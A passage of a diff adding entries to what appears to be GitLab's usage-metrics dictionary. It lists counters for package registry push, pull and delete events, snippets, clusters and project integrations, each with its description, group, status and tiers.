+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_debian_push_package`
+
+A count of Debian packages that have been published
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_delete_package`
+
+A count of packages that have been deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_delete_package_by_deploy_token`
+
+A count of packages that have been deleted using a Deploy Token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_delete_package_by_guest`
+
+A count of packages that have been deleted using a Guest
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_delete_package_by_user`
+
+A count of packages that have been deleted using a logged in user
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_generic_delete_package`
+
+A count of generic packages that have been deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_generic_pull_package`
+
+A count of generic packages that have been downloaded
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_generic_push_package`
+
+A count of generic packages that have been published
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_golang_delete_package`
+
+A count of Go modules that have been deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_golang_pull_package`
+
+A count of Go modules that have been downloaded
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_golang_push_package`
+
+A count of Go modules that have been published
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_helm_pull_package`
+
+Total count of pull Helm packages events
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_helm_push_package`
+
+The total count of Helm packages that have been published.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210625095025_package_events_i_package_helm_push_package.yml)
+
+Group: `group::package`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_maven_delete_package`
+
+A count of Maven packages that have been deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_maven_pull_package`
+
+A count of Maven packages that have been downloaded
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_maven_push_package`
+
+A count of Maven packages that have been published
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_npm_delete_package`
+
+A count of npm packages that have been deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_npm_pull_package`
+
+A count of npm packages that have been downloaded
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_npm_push_package`
+
+A count of npm packages that have been published
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_nuget_delete_package`
+
+A count of NuGet packages that have been deleted
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_nuget_pull_package`
+
+A count of NuGet packages that have been downloaded
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_nuget_push_package`
+
+A count of NuGet packages that have been published
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_pull_package`
+
+A count of packages that have been downloaded from the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_pull_package_by_deploy_token`
+
+A count of packages that have been downloaded from the package registry using a Deploy Token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_pull_package_by_guest`
+
+A count of packages that have been downloaded from the package registry by a guest
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_pull_package_by_user`
+
+A count of packages that have been downloaded from the package registry by a user
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_push_package`
+
+A count of packages that have been published to the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_push_package_by_deploy_token`
+
+A count of packages that have been published to the package registry using a deploy token
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_push_package_by_guest`
+
+A count of packages that have been published to the package registry by a Guest
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_push_package_by_user`
+
+A count of packages that have been published to the package registry by a user
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_pypi_delete_package`
+
+A count of Python packages that have been deleted from the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_pypi_pull_package`
+
+A count of Python packages that have been downloaded from the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_pypi_push_package`
+
+A count of Python packages that have been published to the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_rubygems_delete_package`
+
+Total count of RubyGems packages delete events
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210303153000_package_events_i_package_rubygems_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_rubygems_pull_package`
+
+Total count of pull RubyGems packages events
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210303153002_package_events_i_package_rubygems_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_rubygems_push_package`
+
+Total count of push RubyGems packages events
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210303153004_package_events_i_package_rubygems_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_tag_delete_package`
+
+A count of package tags that have been deleted from the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_tag_pull_package`
+
+A count of package tags that have been downloaded from the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_tag_push_package`
+
+A count of package tags that have been published to the package registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `deprecated`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_terraform_module_delete_package`
+
+Total count of Terraform Module packages delete events
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210410012200_package_events_i_package_terraform_module_delete_package.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_terraform_module_pull_package`
+
+Total count of pull Terraform Module packages events
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210410012202_package_events_i_package_terraform_module_pull_package.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.package_events_i_package_terraform_module_push_package`
+
+Total count of push Terraform Module packages events
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210410012204_package_events_i_package_terraform_module_push_package.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.packages`
+
+The total number of packages published to the registry
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181012_packages.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.pages_domains`
+
+Total GitLab Pages domains
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181946_pages_domains.yml)
+
+Group: `group::release management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.personal_snippets`
+
+Count of personal Snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180239_personal_snippets.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.pod_logs_usages_total`
+
+Count the total number of log views
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175021_pod_logs_usages_total.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`
+
+### `counts.pool_repositories`
+
+Count of unique object pool repositories for fork deduplication
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180410_pool_repositories.yml)
+
+Group: `group::gitaly`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.productivity_analytics_views`
+
+Total visits to /groups/:group/-/analytics/productivity_analytics all time
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174834_productivity_analytics_views.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.project_clusters_disabled`
+
+Total GitLab Managed disabled clusters previously attached to projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175244_project_clusters_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.project_clusters_enabled`
+
+Total GitLab Managed clusters attached to projects
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175236_project_clusters_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.project_snippets`
+
+Count of project Snippets
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180241_project_snippets.yml)
+
+Group: `group::editor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects`
+
+Count of Projects created
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181254_projects.yml)
+
+Group: `group::project management`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_asana_active`
+
+Count of projects with active integrations for Asana
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175623_projects_asana_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_assembla_active`
+
+Count of projects with active integrations for Assembla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175634_projects_assembla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_bamboo_active`
+
+Count of projects with active integrations for Bamboo CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175645_projects_bamboo_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_bugzilla_active`
+
+Count of projects with active integrations for Bugzilla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175657_projects_bugzilla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_buildkite_active`
+
+Count of projects with active integrations for Buildkite
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175708_projects_buildkite_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_campfire_active`
+
+Count of projects with active integrations for Campfire
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175719_projects_campfire_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_confluence_active`
+
+Count of projects with active integrations for Confluence
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175731_projects_confluence_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_creating_incidents`
+
+Counts of Projects that have incident issues, regardless of status.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180453_projects_creating_incidents.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_custom_issue_tracker_active`
+
+Count of projects with active integrations for a Custom Issue Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175742_projects_custom_issue_tracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_datadog_active`
+
+Count of projects with active integrations for Datadog
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182547_projects_datadog_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_discord_active`
+
+Count of projects with active integrations for Discord
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175753_projects_discord_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_drone_ci_active`
+
+Count of projects with active integrations for Drone CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175804_projects_drone_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_emails_on_push_active`
+
+Count of projects with active integrations for Emails on Push
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175815_projects_emails_on_push_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_ewm_active`
+
+Count of projects with active integrations for EWM
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182614_projects_ewm_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_external_wiki_active`
+
+Count of projects with active integrations for External Wiki
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175826_projects_external_wiki_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_flowdock_active`
+
+Count of projects with active integrations for Flowdock
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175837_projects_flowdock_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_github_active`
+
+Count of projects with active integrations for GitHub
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175848_projects_github_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.projects_hangouts_chat_active`
+
+Count of projects with active integrations for Hangouts Chat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175859_projects_hangouts_chat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_hipchat_active`
+
+Count of projects with active integrations for HipChat
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175910_projects_hipchat_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_imported_from_github`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180628_projects_imported_from_github.yml)
+
+Group: `group::import`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.projects_inheriting_asana_active`
+
+Count of active projects inheriting integrations for Asana
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175630_projects_inheriting_asana_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_assembla_active`
+
+Count of active projects inheriting integrations for Assembla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175642_projects_inheriting_assembla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_bamboo_active`
+
+Count of active projects inheriting integrations for Bamboo CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175653_projects_inheriting_bamboo_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_bugzilla_active`
+
+Count of active projects inheriting integrations for Bugzilla
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175704_projects_inheriting_bugzilla_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_buildkite_active`
+
+Count of active projects inheriting integrations for Buildkite
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175716_projects_inheriting_buildkite_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_campfire_active`
+
+Count of active projects inheriting integrations for Campfire
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175727_projects_inheriting_campfire_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_confluence_active`
+
+Count of active projects inheriting integrations for Confluence
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175738_projects_inheriting_confluence_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_custom_issue_tracker_active`
+
+Count of active projects inheriting integrations for a Custom Issue Tracker
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175749_projects_inheriting_custom_issue_tracker_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_datadog_active`
+
+Count of active projects inheriting integrations for Datadog
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_discord_active`
+
+Count of active projects inheriting integrations for Discord
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175800_projects_inheriting_discord_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_drone_ci_active`
+
+Count of active projects inheriting integrations for Drone CI
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175811_projects_inheriting_drone_ci_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.projects_inheriting_emails_on_push_active`
+
+Count of active projects inheriting integrations for Emails on Push
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175822_projects_inheriting_emails_on_push_active.yml)
+
+Group: `group::ecosystem`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
